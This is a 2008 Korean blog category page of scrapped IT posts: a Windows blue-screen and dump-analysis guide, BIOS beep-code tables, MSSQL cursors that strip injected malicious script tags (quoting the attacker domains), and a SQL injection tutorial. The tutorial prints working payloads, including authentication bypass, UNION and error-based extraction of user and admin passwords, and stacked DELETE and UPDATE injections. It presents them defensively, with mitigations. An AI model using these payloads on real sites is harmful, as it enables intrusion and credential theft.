'분류 전체보기' 카테고리의 글 목록 (6 Page)

'분류 전체보기'에 해당되는 글 58건

2008.07.16 IT 관리자를 위한 필수 응급처치법
2008.07.16 비프(beep)에러음에 관하여
2008.07.15 전체테이블들의 스크립트를 삭제하는 커서
2008.07.15 mssql 전체 테이블 문자 검색 변경
2008.07.15 WebKnight를 이용한 SQL Injection 공격 차단
2008.07.15 Web Hacking 1탄 SQL Injection
2008.07.15 엄마! 사랑해요
2008.07.15 my family

IT 관리자를 위한 필수 응급처치법

Scrap/IT 2008. 7. 16. 00:50

블루 스크린은 범인을 알고 있다?

박상옥｜마이크로소프트웨어

“서버가 수시로 재부팅되더니 갑자기 다운됐어요!” 다급하게 도움을 요청해 보지만 이내 익숙한(?) 블루 스크린이 나타난다. 시스템 관리자의 가장 큰 골칫거리 가운데 하나인 블루 스크린. 시스템 관리자들은 아무런 이유 없이 수시로 재부팅되는 시스템 앞에서 가슴이 답답해진다. 그러나 수만 가지 가능성 가운데 정확한 원인을 잡아내는 것은 유능한 어드민의 필수조건! 이제 논리적으로 원인을 분석해 해결 방안을 찾는데 한 발 더 다가가보자.

블루 스크린(BSOD, Blue Screen of Death)은 시스템 관리자들의 가장 논쟁적인 테마 가운데 하나다. 원인도 증상도 너무 다양하기 때문이다. 여기서는 블루 스크린의 발생 원인을 이론적으로 살펴보는 대신 IT 관리자들이 실무에서 자주 접하는 상황을 중심으로 이에 대한 대응법을 살펴본다. 블루 스크린에 대한 이론적인 내용은 마이크로소프트(이하 MS)의 관련 웹 페이지(support.microsoft.com/default.aspx?scid=kb;KO;129845)를 참고하기 바란다.
일반적으로 블루 스크린(STOP 에러)이 나타나는 이유는 다음과 같다.

- 잘못되었거나 호환되지 않는 서비스, 응용 프로그램, 장치 드라이버
- 하드웨어 문제
- 디스크 또는 파일 시스템 손상
- 오래되었거나 호환되지 않는 펌웨어 또는 BIOS
- 바이러스

서버가 수시로 재부팅된다면 시스템 관리자는 가장 먼저 메모리 덤프가 기록되었는지 확인하자. 일반적인 시스템은 하드웨어 또는 소프트웨어의 문제가 발생하면 이를 자동으로 감지해 블루 스크린 화면을 띄운 뒤 메모리 덤프 파일을 자동으로 생성한다. 서버가 재부팅되면 <화면 1>과 같이 이벤트 등록 정보를 살펴보자. 버튼으로 정보를 수신할 수 있으며, 기본 파일명은 ‘%SystemRoot%\MEMORY.DMP’이다.

<화면 1> 이벤트 뷰어의 메모리 덤프 정보

윈도우 2000 이상의 운영체제에서 메모리 덤프는 ‘전체 메모리 덤프’, ‘작은 메모리 덤프’, ‘커널 메모리 덤프’ 등 세 가지다. 작은 메모리 덤프는 64KB 크기로 덤프 파일이 생성되며, 크래시에 관한 정보를 거의 얻을 수 없다. 커널 메모리 덤프는 작은 메모리 덤프의 내용을 모두 포함하며, 문제 발생 시점에서 커널 모드 메모리에 로드된 모든 내용을 확인할 수 있다. 그러나 정확하게 문제의 원인을 파악하기 위해서는 전체 메모리 덤프를 사용해야 한다. 전체 메모리 덤프는 시스템에 할당된 물리적인 메모리 크기만큼 덤프 파일이 생성된다.

어떤 메모리 덤프를 사용할 것인가 하는 것은 시스템의 시작 및 복구 옵션에서 설정할 수 있다(<화면 2>). 주의할 것은 전체 메모리 덤프를 설정하면 덤프 파일이 설정된 디스크의 남은 공간이 물리적인 메모리 크기보다 많이 남아 있어야 한다는 점이다.

<화면 2> 디버깅 정보 쓰기 옵션

파일 시스템 오류로 인한 블루 스크린 해결법

<화면 3>은 전형적인 블루 스크린이다. 다음과 같은 에러 메시지가 출력되면서 바이러스와 파일 시스템을 체크하라는 메시지가 나타나면, 디스크 또는 파일시스템의 오류로 인한 부팅 실패일 가능성이 높다.

STOP: 0x0000007B : Bug Check Code
(parameter1, parameter2, parameter3, parameter4)

이럴 때는 먼저 운영체제 CD로 재부팅한 후 복구 콘솔로 들어가 ‘chkdsk /f /r’ 명령으로 체크 디스크를 실행하면 정상적으로 부팅할 수 있다. 해당 하드디스크를 정상적인 시스템에 슬레이브(Slave) 하드디스크로 연결한 후 chkdsk를 실행하거나 바이러스 체크를 하는 방법도 있다.

<화면 3> 블루 스크린

때로는 시스템 부팅시 로드되는 시스템 파일이 손상되거나 해킹으로 인해 파일이 삭제돼 블루 스크린이 나타나는 경우도 있다.

Bug Check 0x6F: SESSION3_INITIALIZATION_FAILED
(parameter1, parameter2, parameter3, parameter4)

실제로 필자는 해킹을 당해 시스템 세션 매니저 파일인 smss.exe 파일이 삭제돼 부팅이 되지 않는 사례가 있었는데, 이 때는 정상적인 시스템의 smss.exe 파일을 손상된 시스템의 System32 폴더 하위에 복사해 해결할 수 있었다.

덤프 파일을 ‘제대로’ 읽자

블루 스크린이 나타난 후 정상적으로 시스템이 부팅되고 Memory.DMP 파일이 생성됐다면 이제 해당 덤프파일을 근거로 문제의 원인을 파악해야 한다. 보통 이런 증상의 원인은 잘못되었거나 호환되지 않는 서비스나 응용 프로그램, 장치 드라이버나 하드웨어의 문제 등을 의심할 수 있다. 이제 덤프 파일을 분석해 원인을 파악해야 하는데 어디서부터 어떻게 시작해야 할까.

해법은 의외로 가까운 곳에 있다. 가지고 있는 윈도우 CD에서 SUPPORT 폴더를 검색해보자. 하위에 SUPTOOLS.MSI라는 윈도우 서포트 툴이 있는데 이를 설치하면 DumpChk.exe 프로그램을 사용할 수 있다. 이는 덤프 파일을 분석하는 툴로, 간단한 조작만으로도 덤프의 기본 정보를 얻을 수 있다.

<화면 4> dumpchk를 이용한 덤프 파일 분석

그러나 더 세밀한 분석을 위해서는 윈도우 디버깅 툴을 사용해야 한다. 설치된 운영체제의 i386 폴더(즉 OS CD의 I386) 파일과 Symbols 파일, 디버깅 툴, Memory.dmp 파일 등이 필요한데, MS 웹 사이트(www.microsoft.com/whdc/devtools/debugging/default.mspx)에서 관련 정보를 얻을 수 있다. 여기서 Install Debugging Tools for Windows 32-bit Version 메뉴와 Download Windows Symbol Packages 메뉴를 통해 디버깅 툴과 Symbol 파일을 다운로드할 수 있다. 이제 해당 파일을 차례로 서버에 설치하면 Crash Dump 파일을 분석할 준비를 마친 것이다. 설치를 마치면 명령 프롬프트에 다음과 같이 입력해 디버깅을 한다.

C:\Program Files\Debugging Tools for Windows> windbg -y SymbolPath -i ImagePath -z DumpFilePath
C:\Program Files\Debugging Tools for Windows> kd -y SymbolPath -i ImagePath -z DumpFilePath

이렇게 하면 Windbg는 GUI(Graphical User Interface)로 결과를 출력하며, KD는 커맨드 라인(Command Line)에서 결과를 보여준다.

C:\Program Files\Debugging Tools for Windows> windbg -y SRV*c:\winnt\symbols*http://msdl.microsoft.com/download/symbols -i d:\i386 -z d:\dump\Memory.DMP

C:\Program Files\Debugging Tools for Windows> kd -y SRV*c:\winnt\symbols*http://msdl.microsoft.com/download/symbols -i d:\i386 -z d:\dump\Memory.DMP

덤프 파일을 실제 디버깅한 결과는 ‘이달의 디스켓’으로 제공한다. 특히 주목해야 할 부분은 Probably caused by : v3engine.sys (v3engine+14fc) 부분이다. 이는 V3 백신의 드라이버 파일로, 해당 프로그램으로 인해 블루 스크린이 나타난 것임을 알 수 있다. 이 사례에서는 V3 백신 프로그램 제거해 시스템을 정상적으로 구동할 수 있었다. 이밖에 kd> 프롬프트 상태에서 확인할 수 있는 옵션 명령어는 매우 다양하다. 자세한 내용은 디버깅 도움말에서 확인하기 바란다.

한편 블루 스크린의 하드웨어적인 문제는 그 원인을 찾기가 더욱 어렵다. IBM, hp, 델 등 주요 벤더 제품이라면 업체가 제공하는 하드웨어 진단 툴을 이용하면 된다. 한 가지 주의할 것은 BIOS나 펌웨어의 버전이 낮을 경우 진단 툴로 문제를 인식하지 못하는 경우가 흔하니 반드시 이를 업그레이드한 후 점검하기 바란다. 점검 결과 하드웨어의 문제로 판명나면 해당 업체에 A/S를 의뢰하자.

지금까지 덤프 파일을 분석하는 방법을 살펴봤다. 시스템 어드민에게 있어 블루 스크린처럼 보기 싫은 것도 없다. 그러나 영화 ‘공공의 적’에서 나온 대사처럼 ‘현장은 범인을 알고 있다’. 윈도우 서버 시스템의 문제는 블루 스크린과 덤프 파일에 모든 증거가 담겨 있으므로 자신있게 다가서자.

디버깅 툴의 보너스 툴

앞서 언급한 윈도우용 디버깅 툴을 서버에 설치하면 응용 프로그램을 디버깅할 수도 있다. 실제로 현업의 시스템관리자들은 IIS(Internet Information Server)의 문제를 호소하는 경우가 많은데, 대표적인 증상이 IIS에서 구동되는 주 스크립트인 ASP 페이지가 제대로 작동하지 않는 것이다. 즉 html과 같은 정적인 페이지는 정상적으로 로딩되지만 ASP 동적 스크립트는 많은 사용자가 동시에 접속하면 응답이 없거나 사이트가 느려지는 것이다.

대부분 IIS에서 ASP 문제는 잘못된 스크립트 코드에서 시작된다. 이럴 때 어디서부터 손을 대야할 지 막막한 상황이라면 앞서 언급한 디버깅 툴로 IIS에 대한 덤프를 만들어 보자. 해당 툴이 설치된 폴더 하위에 보면 ADplus.VBS란 파일이 있는데, 이를 이용하면 현재 IIS의 문제에 대한 덤프 파일을 만들 수 있다.

C:\Program Files\Debugging Tools for Windows>cscript adplus.vbs -crash -iis
C:\Program Files\Debugging Tools for Windows>cscript adplus.vbs -hang -iis

해당 덤프 파일이 생성되면 블루 스크린의 메모리 덤프를 디버깅한 것처럼 IIS의 덤프 파일을 디버깅해 문제의 원인을 찾는 힌트를 얻을 수 있다. 덤프 파일은 디버깅 툴의 기본 폴더인 C:\Program Files\Debugging Tools for Windows 하위에 생성된다. 이와 관련된 기술 정보는 MS 웹 페이지(support.microsoft.com/default.aspx?scid=kb;kr;286350)를 참고하기 바란다.

제공 : DB포탈사이트 DBguide.net

Posted by onewater

비프(beep)에러음에 관하여

Computer/Tip&Tech 2008. 7. 16. 00:31

비프(beep)에러음에 관하여

비프음이란 시스템에 이상이나 Error가 발생할 경우 내장된 스피커로 소리를 내어 user에게 알려는 역할을 하여 문제 해결하는데 도움을 주는 기능이다.

이 기능은 포스트 POST (Power on Self Test)과정에서 담당을 한다.

POST란 컴퓨터에 전원이 켜지면서 부터 CPU, 키보드,그래픽카드, 메모리등 각종 하드웨어의 정상적인 동작을 하는지 이상유무를 상태를 검사하고 컴퓨터 시스템이 동작할 수 있도록 초기화 작업을 수행하는 일련의 과정에을 말하며, 이 과정에서 문제가 발생하면 오류항목을 '삑' 소리(beep음)으로 소리를 내던지 메세지를 화면에 표시하며, 다음과정으로 넘어가지 못하면 해당 메세지가 하드웨어적으로 치명적인 오류로 판단하여 컴퓨터는 멈추게 된다.

* BIOS에 따른 Beep

# AWARD BIOS

비프음	내용
길게 1번, 계속	메모리를 모듈에서 분리하여 다시 장착해본다.
계속되는 비프음	전원이나 파워서플라이, 메인보드를 점검해 본다.
짧은 비프음 연속	확장슬롯에 꽃인 카드를 점검해 본다.
길게 한 번 짧게 한 번	메인보드를 점검
길게 한 번 짧게 두번 후 길게 한 번 길게 세 번	그래픽카드를 점검
짧은 비프음과 화면에 'keyboard error'	키보드 접속불량

# AMI BIOS

비프음	내용
1회,2회,3회	메모리 이상, 모듈에서 분리하여 다시 장착해 본다.
5회, 7회	CPU의 문제, CPU를 분리하여 다시 장착해 본다.
6회	키보드가 제대로 꽂혀있는지 확인해본다.
8회	그래픽카드 문제, 슬롯에서 분리하여 다시 꽂아본다.

AMI BIOS 비프음에 대해 자세히 살펴보면 다음과 같다.

비프음	에러	내용	해결방법
1번	Refresh Failure	메인보드의 메모리 리프레시 회로의 이상	메모리를 다시 장착 또는 리프레시회로 (주기판의 칩셋에 내장)의 오류이면 메인보드 교체 필요.
2번	Parity Error	메모리의 첫번째 64KB에서 패리티 에러 발생	메모리 장착의 불량메모리 모듈을 다시 장착하거나 교체 필요.
3번	Base 64KB Memory Failure	첫번째 64KB메모리에서 이상 발생	메모리 장착의 불량메모리 모듈을 다시 장착하거나 교체 필요.
4번	Timer Not Operational	타이머가 동작하지 않거나 첫 번째 64KB에서 메모리의 이상	메인보드를 재장착 하거나 교체 필요.
5번	Processor Error	CPU 에러 발생	메인보드를 재장착 하거나 교체 필요.
6번	키보드 컨트롤러/8042 Gate A20 Failure	보호모드로의 전환 불가능	키보드 컨트롤러칩의 오류로 칩의 교체나 메인보드의 교체가 필요.
7번	Processor Exception Interrupt Error	CPU에서 예외 상황 에러 발생	메인보드를 재장착 하거나 교체한다.
8번	Display Memory Read/Write Error	비디오 어댑터의 에러 혹은 비디오 메모리의 이상	비디오 카드의 메모리 카드나 자체의 교체가 필요.
9번	Rom Checksum Error	바이오스에서 저장한 수치와 롬의 체크섬이 틀림	바이오스 롬의 상태가 좋지 않음.잘못 장착되었거나 어떤 문제로 인해 시스템에 새로운 바이오스 롬으로 교체필요.
10번	CMOS Shutdown Register Read/Write Error	CMOS램을 위한 셧다운 레지스터의 이상	메인보드를 재장착하거나 교체 필요.
11번	Cache Memory Bad-do Not enablecache	Cache Memory 이상	증상이 계속되면캐쉬메모리 교체필요.

Posted by onewater

전체테이블들의 스크립트를 삭제하는 커서

Scrap/IT 2008. 7. 15. 06:39

http://cafe.naver.com/sqlmaster.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=1755

인젝션공격 으로 인해서 모든 테이블에 아래와 같은 스크립트들이 입력되어 있는 경우가 있습니다.
전체테이블들의 스크립트를 삭제하는 커서를 만들었습니다.

-- 스크립트의 예
--<script src=http://www.encode72.com/b.js></script>
--<script src=http://www.win496.com/b.js></script>
--<script src=http://www.sslput4.com/b.js></script>
--<script src=http://www.rundll841.com/b.js></script>
--<script src=http://www.advertbnr.com/b.js></script>
--<script src=http://www.siteid38.com/b.js></script>
--<script src=http://www.cookieadw.com/b.js></script>

declare @name sysname, @id int
declare @sname sysname,@xtype int
declare @sql varchar(1000) , @b_data varchar(1000), @a_data varchar(10)

set @b_data='<script src=http://www.cookieadw.com/b.js></script>' -- 변경할문자(스크립트)
set @a_data='''''' -- 변경될문자(공백문자)

DECLARE MYCUR CURSOR FOR

-- 사용자테이블
select name,id from dbo.sysobjects where xtype='U'

OPEN MYCUR
FETCH NEXT FROM MYCUR INTO @name, @id

WHILE (@@FETCH_STATUS = 0)
BEGIN
DECLARE subcur CURSOR FOR

--컬럼 데이터타입이 VARCHAR, CHAR , NVARCHAR, NCHAR 형인것만
select name,xtype from dbo.syscolumns
where xtype in (
167 -- varchar
,175 -- char
,231 --nvarchar
,239 --nchar

)
and id=@id

OPEN subcur
FETCH NEXT FROM subcur INTO @sname,@xtype
WHILE (@@FETCH_STATUS = 0)
BEGIN

-- REPLACE 를 사용한 업데이트 (동적sql)
set @sql=' update dbo.' + @name + ' set ' + @sname + ' = replace(' + @sname + ',''' + @b_data + ''',' + @a_data +')'
exec ( @sql)

FETCH NEXT FROM subcur INTO @sname,@xtype
END
CLOSE subcur
DEALLOCATE subcur
FETCH NEXT FROM MYCUR INTO @name, @id
END

CLOSE MYCUR
DEALLOCATE MYCUR

Posted by onewater

mssql 전체 테이블 문자 검색 변경

Scrap/IT 2008. 7. 15. 06:31

인쇄| 닫기

지식Q&A > 컴퓨터, 통신

mssql 전체 테이블 문자 검색 변경 angel830514 2008.06.03 13:48	답변 2 \| 조회 517

MSSQL에 웹해킹으로 DB안에 특정 사이트로 이동하는 자바스크립트 문을 넣어놨는대요.

예를 들어 게시판이라면 제목과 본문뒤에 <script ....> 와 같은 글을 적어놨습니다.

문제는 회원 아이디부분에도 들어가 스크립트만 싹 지워야하는대

전체 테이블에서 해당 문자 검색해서 해당 문자만 변경하게 할려면 어떻게 해야하나요?

테이블 수가 많아 하나하나 노가다 하기는 너무 많습니다.

방법즘 알려주세요.

re: mssql 전체 테이블 문자 검색 변경 resetman71 답변채택률 72.7% 2008.06.03 16:21

질문자인사 알려주신 내용을 기반으로 보강해서 수정했습니다. 감사합니다.

검정된 쿼리입니다.

검색 쿼리와 추가된 <script 등을 제거해주는 쿼리입니다.

아래의 쿼리를 돌리기 전에 해당 DB로 가셨어 각 DB마다 확인을 하신 후 발견되시면 제거해주면
됩니다.

* Script 삽입 공격을 당했는지 확인하는 쿼리

exec ('select ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<script%</script>''');
-- print 'select ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<script%</script>'''

FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

* 위의 공격을 당했을 때 복원하는 쿼리 (100% 다 되는 것은 아님 - 별도 확인 필요)

* 해킹 시 길이가 긴 경우에는 짤리고 들어가는 현상이 발생함 - 이 경우에는 복원을
해도 원상복구가 안됨

* 백업 받은 것을 복원하는 수 밖에는 없음

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

꼭 복구하시기 바랍니다. 홧팅.

그 외 답변들 1

받은 추천순 | 최신순

re: mssql 전체 테이블 문자 검색 변경 warez104 답변채택률 89.2% 2008.06.03 14:19

시스템 테이블인 sysobjects테이블과 syscolumns테이블을 이용해서
스크립트를 생성해서 EXEC명령으로 실행하는 방법이 있습니다.

대충 만들어보면...

DECLARE @SQL varchar(1000), @TableName varchar(128),
@ColumnName varchar(128), @SearchText varchar(1000)

SET @SearchText = '<SCRIPT>
...
...
</SCRIPT>'

DECLARE cur_COLUMNS CURSOR FOR
SELECT TableName = m.name, ColumnName = d.name
FROM sysobjects m, syscolumns d
WHERE m.xtype = 'U' AND m.id = d.id

OPEN cur_COLUMNS

FETCH NEXT FROM cur_COLUMNS
INTO @TableName, @ColumnName

WHILE @@FETCH_STATUS = 0
BEGIN
SET @SQL = 'UPDATE ' + @TableName + ' SET ' + @ColumnName +
' = REPLACE(' + @ColumnName + ', ''' + @SearchText + ''', '''' )'
EXEC @SQL
FETCH NEXT FROM cur_COLUMNS
INTO @TableName, @ColumnName
END

CLOSE cur_COLUMNS
DEALLOCATE cur_COLUMNS

이런 식으로 녹색 부분에 찾아서 없앨 텍스트를 적고,
SQL문자열을 만들어서 실행하는 방법이 있습니다.

출처 : 직접서술

Posted by onewater

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

1. 시작하기
가끔 뉴스나 방송에서 xx 사이트 해킹 당했다 라고들 많이 들어보았을 겁니다.
이런 뉴스를 접할때 대체 어떻게 해서 해킹이 당하는걸까? 라고들 많이 생각해 보았을 겁니다.
어떻게 해킹이 일어나는지 알아야 방어도 가능하기 때문에 이번 강좌는 웹해킹에 대해 알아볼 것입니다.

첫번재 시간으로 SQL Injection을 배울 것이며 그다음 두번째에는 파일조작으로 인한 해킹을,
그리고 마지막 시간에는 자바스크립트 조작에 대해 알아보겠습니다

도표에서도 알수 있듯이 SQL Injection으로 인한 해킹이 가장 간단하고 쉽기 때문에 이를 가장먼저 알아보겠습니다.

SQL Injection 이란 서버나 OS의 구멍을 이용한 해킹방법이 아닌 웹 어플리케이션 자체의 버그를 이용한 새로운 형태의 웹해킹 방법입니다.

정의를 하자면

SQL Injection은 웹페이지를 통해 입력된 파라미터값을 이용하여 쿼리를 재구성하는 방법이다

라고 할수 있습니다. 즉 많은 웹페이지들은 사용자나 프로그램이 생성한 파라미터값을 이용해 쿼리를 만들고 실행하는데, 이때 정상적인 값이 아닌 파라미터값이 입력될 때 비정상적인 쿼리가 실행되며, 따라서 원하지 않는 결과가 나올수 있다는 것입니다.

이해를 위해 바로 코드로 들어가 봅시다.

아래 코드는 사용자가 입력한 로그인 아이디와 비밀번호로 로그인을 시도하는 로직입니다.

// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");

rs = stmt.executeQuery("SELECT count(*) FROM user_t WHERE userid = '"+param1+"' AND userpw = '"+param2+"'");

rs.next();

if (rs.getInt(1) == 1) {

// 로그인 성공로직

} else {

// 로그인 실패로직

}

무엇이 잘못되었을 까요?
코드상으로 보면 실행하는데 전혀 이상이 없는 코드이지만 쫌 아는사람들에게는 비밀번호 없이 아이디만 안다면 로그인을 성공할 수 있는 로직입니다.

아아디가 goodbug 이고 비밀번호가 1111 인 계정이 있다고 합시다 ^^;
입력란에 googbug / 1111 을 입력하니 정상적으로 로그인이 true가 되었습니다.
하지만 만약 다음과 같이 사용자가 입력한다면 어떻게 될까요?

로그인이 됩니다!
비밀번호에 상관없이 로그인이 되는군요!!
하나 더 보도록 하지요

위의 소스는 MySQL을 사용하고 있습니다.
MySQL의 라인 주석처리는 # 입니다 아시죠?
즉 뒷부분 password를 체크하는 로직은 주석처리되어 버린겁니다 뜨아~
같은 의미이지만 아래처럼 여러가지 섞어서도 가능합니다

이게 만약 관리자 아이디였다면 문제는 더 심각해 집니다.
이처럼 사용자의 고의로 인한 SQL을 조작하여 웹 어플리케이션 자체를 공격하는것이 SQL Injection 입니다.

그렇다면 위의 소스를 어떻게 변경하는게 좋을까요?

// 입력받은 사용자 아이디와 비밀번호

String param1 = request.getParameter("user_id");

String param2 = request.getParameter("user_pw");

//validate 라는 함수는 아이디와 비밀번호 생성시 생성 로직에 맞게 되었는지 체크하는 함수

//만약 특수문자나 아이디 생성 규칙에 맞지 않는 값이면 exception을 throw 한다

validateID(param1);

validatePW(param2);

pstmt = conn.prepareStatement("SELECT userid, userpw FROM user_t WHERE userid = ?");

pstmt.setString(1, param1);

rs = pstmt.executeQuery();

if (rs.next()) {

// 문자를 직접 비교한다 (대소문자 구분)

if (rs.getString(1).equals(param1) && rs.getString(2).equals(param2)) {

// 로그인 성공로직

} else {

// 로그인 비밀번호 혹은 아이디 오류 로직

}

} else {

//로그인 부재 아이디 오류 로직

}

위처럼 하면 어느정도 되겠네요 ^^

2. SQL Injection 패턴

그럼 SQL Injection에 사용될만한 문자열에는 어떤것이 있을까요?
아래 문자들은 해당 데이터베이스에따라 달라질 수 있습니다.

문자	설명
'	문자 데이터 구분기호
;	쿼리 구분 기호
--, #	해당라인 주석 구분 기호
/* */	/* 와 */ 사이 구문 주석

일반적으로 알려진 몇가지 패턴입니다.

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

' or password like '%

이러한 패턴들로 타겟 데이터베이스가 오라클인지 MySQL인데 혹은 M$SQL인지 확인할 필요가 있을겁니다. 왜냐하면 그것에 따라 다양한 공격 방법이 생기기 때문입니다.

그럼 이러한 구분은 그럼어떻게 할까요?

SQL Injection을 이용하여 다음값이 true인지 false인지 확인합니다.

AND 'abcd' = 'ab' + 'cd'

true 이면 오라클은 아닐겁니다 오라클은 ||을 문자열 concat 으로 사용하지요.

AND 'abcd' = 'ab' || 'cd'

true 이면 오라클입니다.

rownum 도 구분할수 있는 좋은 예입니다.

MySQl은 라인 주석이 #입니다 다른 대부분 데이터베이스는 --를 사용하지요.
#을 SQL Injection 하였을때 위의 예처럼 에러가 발생하지 않으면 MySQL입니다.
또 limit 등도 도움이 될겁니다.

이처럼 해당 데이터베이스가 고유하게 사용하는 key들을 SQL Injection하여 구분할 수 있습니다

3. UNION SQL Injection

위와같이 WHERE절에 SQL Injection을 사용하여 조건절을 무력화 시키는 방법도 있지만
UNION SQL Injection은 원하는 정보도 뽑아볼 수 있습니다 ^^V

코드로 바로 봅시다.

아래 코드는 게시물번호를 파라미터로 받아 해당 게시물이 존재하면 글번호와 글제목, 글내용을 조회하는 코드입니다.

String param1 = request.getParameter("boardno");

rs = stmt.executeQuery("SELECT boardno, boardtitle, boardcontent FROM board_t WHERE boardno = '"+param1+"'");

if (rs.next()) {

out.println(rs.getString(1)+"<br>");

out.println(rs.getString(2)+"<br>");

out.println(rs.getString(3)+"<br>");

}

무엇이 잘못되었을까요?

글번호가 1134896409234 인 게시물은 다음과 같이 URL이 요청되어 조회가 될겁니다.

요청 URL

/read.jsp?bno=1134896409234

하지만 위와 같이 추가적으로 UNION SQL Injection이 들어갈 수 있습니다.

/read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug' ORDER BY boardno ASC #

그러면 goodbug라는 아이디의 비밀번호가 그만 조회되어 버립니다!!
그럼 user_t 라는 테이블과 ,userid, userpw라는 컬럼명들은 어떻게 알수 있을까요?

오라클 이라면 다음과 같이 알아낼 수 있습니다.

/read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC --

테이블 명을 알아냈다면 이제 컬럼명을 알아봐야겠죠.

오라클이라면 user_tab_columns view를 통해 알아볼 수 있습니다.

SELECT * FROM user_tab_columns WHERE table_name = 'user_t'

물론 한번에 알아낼수 없으며 많은 시행착오를 겪어야 하는것은 필수입니다.
그래서 제로보드나 Unicorn 같은 공개 게시판인 경우는 타겟이 되기 쉽상입니다.
MySQl이나 Oracle JDBC에서는 다행히도 ; 문자를 이상 캐릭터로 보고 에러를 반환합니다.
하지만 그렇지 않은 JDBC가 있따면 큰일입니다 아래와 같은 코드가 가능하기 때문이지요.

/read.asp?bno=1134896409234';DELETE FROM user_t

/read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111'

PHP나 ASP인 경우에는 가능한 쿼리 입니다.
이제 대강 SQL Injection에 대해 감이 잡히시나요?

4. 에러 메세지를 통한 정보수집

admin_login 이라는 관리자 테이블과 login_name이라는 컬럼을 알아 냈다고 한다면..
M$SQL인 경우를 예를 들겠습니다.

/read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int.
/read.asp, line 5

라는 메세지가 나옵니다. 여기서 무순 정보를 알수 있을까요? 바로 goodbug 라는 관리자 아이디가 있다는 것을 알았습니다. 그럼 여참에 비밀번호까지 알아봅시다.

/read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int.
/read.asp, line 5

즉 nvarchar 타입의 컬럼을 int형으로 convert를 유도하면서 해당값을 에러메세지로부터 취득할 수 있습니다. 가능하면 에러 메세지는 일반 유저에게 뿌리지 말아야 겠지요?

5. 그렇다면 막아보자 SQL Injection

해커라고 컴퓨터 한두번 두둘겨서 어느 한 사이트를 뚝딱 해킹하지는 못합니다. 웹 해킹을 하기 위해서는 보통 짧으면 일주일에서 길면 몇달까지 해커는 치밀한 준비를 한다고 합니다. 웹페이지들이 전달하는 모든 파라미터를 조사하고 반복되는 에러 화면을 보면서 여러 패턴별로 치밀하게 조사후 시행을 한다고 하네요.

그렇다면 어떻게 이들로부터 웹 어플리케이션을 보호할 수 있을까요?
다음과 같은 원칙을 지킨다면 이러한 SQL Injection을 사전에 방지할 수 있습니다.

① 프로그래머의 적극적인 의지가 있어야 합니다!

-. 여러가지 신경써야 할곳도 많고 입력값에 대한 체크로직 또한 늘어날 것입니다.

많은 귀차니즘이 생길겁니다. 머 누가 장난치겠어? 라는 생각이 많은 빵꾸를 만듭니다.

② 사용자가 직접 입력하는 파라미터는 절대 신뢰하지 않아야 합니다!

-. 입력값은 javascript 뿐만 아니라 서버측에서도 체크를 해야 합니다.

숫자만 받은 입력칸이면 반드시 javascript 체크와 동시에 서버측에서도 숫자만 입력되었는지 체크해야 합니다.

-. 필요하다면 특수문자는 필터링해 버립시다 ( ‘ “ / \ : ; Space < > )

-. 또 가능하다면 SQL 명령도 필터링 해버립시다 (UNION, SELECT, DELETE, INSERT, UPDATE, DROP..)

③ 사용자 입력을 받아 SQL을 작성하는 부분은 반드시 PreparedStatement를 사용하여 바인딩 처리 합니다!!

-. PreparedStatement는 SQL Injection을 원천적으로 봉쇄합니다.

-. 꼬~옥 필요한곳만 Statement를 사용합니다.

④ 웹에서 사용하는 유저는 OS계정 뿐만 아니라 데이터베이스 계정또한 가능한 권한을 낮춥니다!!

⑤ 에러 메세지를 노출하지 않습니다!!

-. 에러 메세지는 해커들에게 많은 정보를 제공해 줍니다.

가능하면 유저에게 알리지 말고 은밀하게 보관해야 합니다.

⑥ 동적 SQL은 가능하면 생성하지 않는다!!

-. 가능한 동적 SQL은 지양하며, 비지니스로직상 동적 SQL이 어쩔수 없다면 파라미터 검사를 충분히 해야한다.

많은분들이 아시는 내용이지만 처음보시는분에겐 많은 도움이 되실겁니다 ^^
=============================================

본문서는 자유롭게 배포/복사 할수 있지만 이문서의 저자에 대한 언급을 삭제하시면 안됩니다.

저자 : GoodBug (unicorn@jakartaproject.com)

최초 : http://www.jakartaproject.com

=============================================

'분류 전체보기'에 해당되는 글 58건

IT 관리자를 위한 필수 응급처치법

비프(beep)에러음에 관하여

전체테이블들의 스크립트를 삭제하는 커서

mssql 전체 테이블 문자 검색 변경

mssql 전체 테이블 문자 검색 변경

re: mssql 전체 테이블 문자 검색 변경

그 외 답변들 1

re: mssql 전체 테이블 문자 검색 변경

WebKnight를 이용한 SQL Injection 공격 차단

Web Hacking 1탄 SQL Injection

엄마! 사랑해요

my family

카테고리

